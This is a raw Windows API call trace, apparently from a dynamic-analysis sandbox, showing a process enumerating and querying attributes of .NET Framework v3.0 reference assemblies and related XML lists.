	[0055.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationBuildTasks.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationbuildtasks.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ec918 | out: lpFileInformation=0x123ec918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5f4b44, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa5f4b44, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaaa915ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000)) returned 1
	[0055.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ec968 | out: lpFileInformation=0x123ec968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1db959, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab1db959, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab4fb63f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x406000)) returned 1
	[0055.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Aero.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.aero.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ec9b8 | out: lpFileInformation=0x123ec9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de43cb, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4de43cb, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79b03bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x30000)) returned 1
	[0055.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Classic.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.classic.dll"), fInfoLevelId=0x0, lpFileInformation=0x123eca08 | out: lpFileInformation=0x123eca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff96fd, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4ff96fd, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79e95cbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x22000)) returned 1
	[0055.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Luna.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.luna.dll"), fInfoLevelId=0x0, lpFileInformation=0x123eca58 | out: lpFileInformation=0x123eca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9dec0f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9dec0f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa0e5c7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x61000)) returned 1
	[0055.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.Royale.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.royale.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ecaa8 | out: lpFileInformation=0x123ecaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653fb0e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x653fb0e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7a4fb7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x28000)) returned 1
	[0055.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ecaf8 | out: lpFileInformation=0x123ecaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaa915ec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaaa915ec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab0aae57, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x509000)) returned 1
	[0055.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\ReachFramework.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\reachframework.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ecb48 | out: lpFileInformation=0x123ecb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa10bdda, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa10bdda, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa262a3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000)) returned 1
	[0055.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), fInfoLevelId=0x0, lpFileInformation=0x123ecb98 | out: lpFileInformation=0x123ecb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.454] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.454] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.454] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1
	[0055.454] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.454] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), fInfoLevelId=0x0, lpFileInformation=0x123ecc38 | out: lpFileInformation=0x123ecc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632)) returned 1
	[0055.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist"), fInfoLevelId=0x0, lpFileInformation=0x123ecc88 | out: lpFileInformation=0x123ecc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.455] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1
	[0055.455] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.455] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml"), fInfoLevelId=0x0, lpFileInformation=0x123ecd28 | out: lpFileInformation=0x123ecd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7)) returned 1
	[0055.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IO.Log.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.io.log.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ecd78 | out: lpFileInformation=0x123ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a94654c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1a94654c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x5c12c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x20000)) returned 1
	[0055.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.Selectors.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.identitymodel.selectors.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ecdc8 | out: lpFileInformation=0x123ecdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000)) returned 1
	[0055.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.IdentityModel.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.identitymodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ece18 | out: lpFileInformation=0x123ece18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c000)) returned 1
	[0055.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Printing.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.printing.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ece68 | out: lpFileInformation=0x123ece68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab0aae57, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab0aae57, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab1db959, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b000)) returned 1
	[0055.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Runtime.Serialization.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.runtime.serialization.dll"), fInfoLevelId=0x0, lpFileInformation=0x123eceb8 | out: lpFileInformation=0x123eceb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45bd12a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb45bd12a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb45e328a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000)) returned 1
	[0055.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ecf08 | out: lpFileInformation=0x123ecf08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4524ba9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4524ba9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4596fca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b6000)) returned 1
	[0055.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Speech.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.speech.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ecf58 | out: lpFileInformation=0x123ecf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1158c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x6f1158c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ac6bc9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa8000)) returned 1
	[0055.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Activities.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.workflow.activities.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ecfa8 | out: lpFileInformation=0x123ecfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44b2788, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44b2788, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x117000)) returned 1
	[0055.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.ComponentModel.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.workflow.componentmodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ecff8 | out: lpFileInformation=0x123ecff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44664c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44664c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44b2788, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e000)) returned 1
	[0055.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.Runtime.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.workflow.runtime.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ed048 | out: lpFileInformation=0x123ed048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x84000)) returned 1
	[0055.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClient.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationclient.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ed098 | out: lpFileInformation=0x123ed098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7231257, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7231257, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ae0ebbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2a000)) returned 1
	[0055.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationClientsideProviders.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationclientsideproviders.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ed0e8 | out: lpFileInformation=0x123ed0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752adc3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x752adc3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b23923c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x5d000)) returned 1
	[0055.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationProvider.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationprovider.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ed138 | out: lpFileInformation=0x123ed138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778c3b3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x778c3b3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b532dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1
	[0055.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\UIAutomationTypes.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\uiautomationtypes.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ed188 | out: lpFileInformation=0x123ed188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a39c61, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7a39c61, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b5a51dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x18000)) returned 1
	[0055.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), fInfoLevelId=0x0, lpFileInformation=0x123ed1d8 | out: lpFileInformation=0x123ed1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12)) returned 1
	[0055.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsBase.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\windowsbase.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ed228 | out: lpFileInformation=0x123ed228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa262a3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa262a3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa49dee1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x132000)) returned 1
	[0055.458] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WindowsFormsIntegration.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\windowsformsintegration.dll"), fInfoLevelId=0x0, lpFileInformation=0x123ed278 | out: lpFileInformation=0x123ed278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c58b5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x80c58b5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b91117c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x17000)) returned 1
	[0055.458] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x123ed2c8 | out: lpFileInformation=0x123ed2c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.458] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
